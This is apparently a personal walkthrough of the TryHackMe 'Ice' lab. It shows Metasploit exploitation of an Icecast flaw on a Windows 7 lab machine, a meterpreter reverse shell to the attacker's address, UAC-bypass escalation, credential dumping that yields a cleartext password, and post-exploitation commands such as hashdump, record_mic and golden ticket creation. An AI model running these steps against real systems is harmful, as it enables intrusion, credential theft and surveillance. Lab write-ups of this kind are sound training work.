



Ice

Platform	THM
Operating System	Windows
Tags	walkthrough

General-Information

▼ Table of Contents

- [Recon](#)
- [Gain Access](#)
- [Escalate](#)
- [Looting](#)
- [Post-Exploitation](#)

▼ Date

10 - 03 - 2021

▼ Passwords

-

▼ Room Link

- <https://tryhackme.com/room/blueprint>

Recon

▼ I ran an `nmap` scan and was able to answer the questions for the recon module as follows.

▼ `nmap` scan

```
Host is up (0.20s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE          VERSION
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds    Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  ssl/ms-wbt-server?
|_ssl-cert: Subject: commonName=Dark-PC
|_Not valid before: 2022-03-04T02:55:19
|_Not valid after: 2022-09-03T02:55:19
|_ssl-date: 2022-03-05T02:58:59+00:00; +14s from scanner time.
5357/tcp   open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8000/tcp   open  http             Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
49152/tcp open  msrpc            Microsoft Windows RPC
49153/tcp open  msrpc            Microsoft Windows RPC
49154/tcp open  msrpc            Microsoft Windows RPC
49158/tcp open  msrpc            Microsoft Windows RPC
49159/tcp open  msrpc            Microsoft Windows RPC
49160/tcp open  msrpc            Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h30m14s, deviation: 3h00m00s, median: 13s
|_nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:46:5c:1e:ed:9f (unknown)
```

▼ One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?

- Answer: 3389

▼ What service did nmap identify as running on port 8000? (First word of this service)

Answer: Icecast

▼ What does Nmap identify as the hostname of the machine? (All caps for the answer)

Answer: DARK-PC

Gain Access

▼ For the first two questions I was able to answer them, by first looking up “Icecast exploits”, then went to CVEDetails and found the corresponding exploit to answer the questions.

▼ What type of vulnerability is it? Use <https://www.cvedetails.com> for this question and the next.

- Answer - Execute Code Overflow

▼ What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000

- Answer - CVE-2004-1561

▼ After starting `metasploit` I followed the instructions to answer the questions that required answers.

▼ `Metasploit` screenshot

```
msf6 > search icecast

Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  exploit/windows/http/icecast_header      2004-09-28      great No     Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):
-----
Name      Current Setting  Required  Description
----      -
RHOSTS      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):
-----
Name      Current Setting  Required  Description
----      -
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
```

▼ What is the full path (starting with exploit) for the exploitation module?

- Answer - exploit/windows/http/icecast_header

▼ What is the only required setting which currently is blank?

- Answer - rhosts

Escalate

▼ After launching the attack you're greeted with a meterpreter shell, which is also the answer to the question.

```
msf6 exploit(windows/http/icecast_header) > exploit
[*] Started reverse TCP handler on 10.2.51.66:4444
[*] Sending stage (175174 bytes) to 10.10.167.240
[*] Meterpreter session 1 opened (10.2.51.66:4444 → 10.10.167.240:49208) at 2022-03-05 11:03:50 -0500
meterpreter > id
```

▼ Entering the command `getuid` reveals who was last on the machine, the user `Dark`.

```
meterpreter > getuid
Server username: Dark-PC\Dark
```

▼ The following two questions can be answered with the `sysinfo` command as follows.

▼ `Metasploit` screenshot

```
meterpreter > sysinfo
Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
```

▼ As instructed I ran the `run post/multi/recon/local_exploit_suggester` command and then input the first exploit as the answer.

▼ `Metasploit` screenshot

```
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.167.240 - Collecting local exploits for x86/windows ...
[*] 10.10.167.240 - 40 exploit checks are being tried ...
[+] 10.10.167.240 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.167.240 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.10.167.240 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.167.240 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.167.240 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.167.240 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
```

▼ Checking the options again with the `options` command, I was able to see that the LHOST needed to be reset to my TryHackMe IP address.

▼ `Metasploit` screenshot

```
msf6 exploit(windows/local/bypassuac_eventvwr) > options
```

Module options (exploit/windows/local/bypassuac_eventvwr):

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

▼ After running the command and verifying that I was in the correct session I looked over the new permissions to find the answer near the bottom, SeTakeOwnershipPrivilege.

▼ Metasploit screenshot

```
[*] Meterpreter session 2 opened (10.2.51.66:4444 → 10.10.167.240:49234) at 2022-03-05 11:27:28 -0500
[*] Cleaning up registry keys ...

meterpreter > sessions 2
[*] Session 2 is already interactive.
meterpreter > getprivs

Enabled Process Privileges
=====
Name
-----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
```

Looting

▼ Looking over the current running services the answer to the question can be found, spoolsv.exe.

▼ Metasploit screenshot

```
316 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
384 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
932 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1020 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1056 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1120 692 vds.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\vds.exe
1140 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1216 604 conhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\conhost.exe
1312 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1348 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1396 692 taskhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\taskhost.exe
1436 1020 dwm.exe x64 1 Dark-PC\Dark C:\Windows\System32\dwm.exe
1456 1404 explorer.exe x64 1 Dark-PC\Dark C:\Windows\explorer.exe
```

▼ Entering the `getuid` command as instructed shows that I'm the highest level user, NT AUTHORITY\SYSTEM.

▼ Metasploit screenshot

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

▼ Running the command `creds_all` reveals the user `Dark`'s password!

```
meterpreter > creds_all
[*] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
-----
Username  Domain  LM  NTLM  SHA1
-----
Dark      Dark-PC e52cac67419a9a22ecb08369099ed302 7c4fe5eada682714a036e39378362bab 0d082c4b4f2aefb67fd0ea568a997e9d3ebc0eb

wdigest credentials
-----
Username  Domain  Password
-----
(null)    (null)  (null)
DARK-PC$ WORKGROUP (null)
Dark      Dark-PC Password01!
```

Post-Exploitation

▼ The answers to the questions are in the screenshot below. There wasn't much thinking required here, since it was just reading the help menu

Before we start our post-exploitation, let's revisit the help menu one last time in the meterpreter shell. We'll answer the following questions using that menu.

No answer needed

Correct Answer

What command allows us to dump all of the password hashes stored on the system? We won't crack the Administrative password in this case as it's pretty strong (this is intentional to avoid password spraying attempts)

hashdump

Correct Answer

While more useful when interacting with a machine being used, what command allows us to watch the remote user's desktop in real time?

screenshot

Correct Answer

How about if we wanted to record from a microphone attached to the system?

record_mic

Correct Answer

To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? Don't ever do this on a pentest unless you're explicitly allowed to do so! This is not beneficial to the defending team as they try to breakdown the events of the pentest after the fact.

timestamp

Correct Answer

Mimikatz allows us to create what's called a 'golden ticket', allowing us to authenticate anywhere with ease. What command allows us to do this?

Golden ticket attacks are a function within Mimikatz which abuses a component to Kerberos (the authentication system in Windows domains), the ticket-granting ticket. In short, golden ticket attacks allow us to maintain persistence and authenticate as any user on the domain.

golden_ticket_create

Correct Answer

One last thing to note. As we have the password for the user 'Dark' we can now authenticate to the machine and access it via remote desktop (MSRDP). As this is a workstation, we'd likely kick whatever user is signed onto it off if we connect to it, however, it's always interesting to remote into machines and view them as their users do. If this hasn't already been enabled, we can enable it via the following Metasploit module: `run post/windows/manage/enable_rdp`

No answer needed

Correct Answer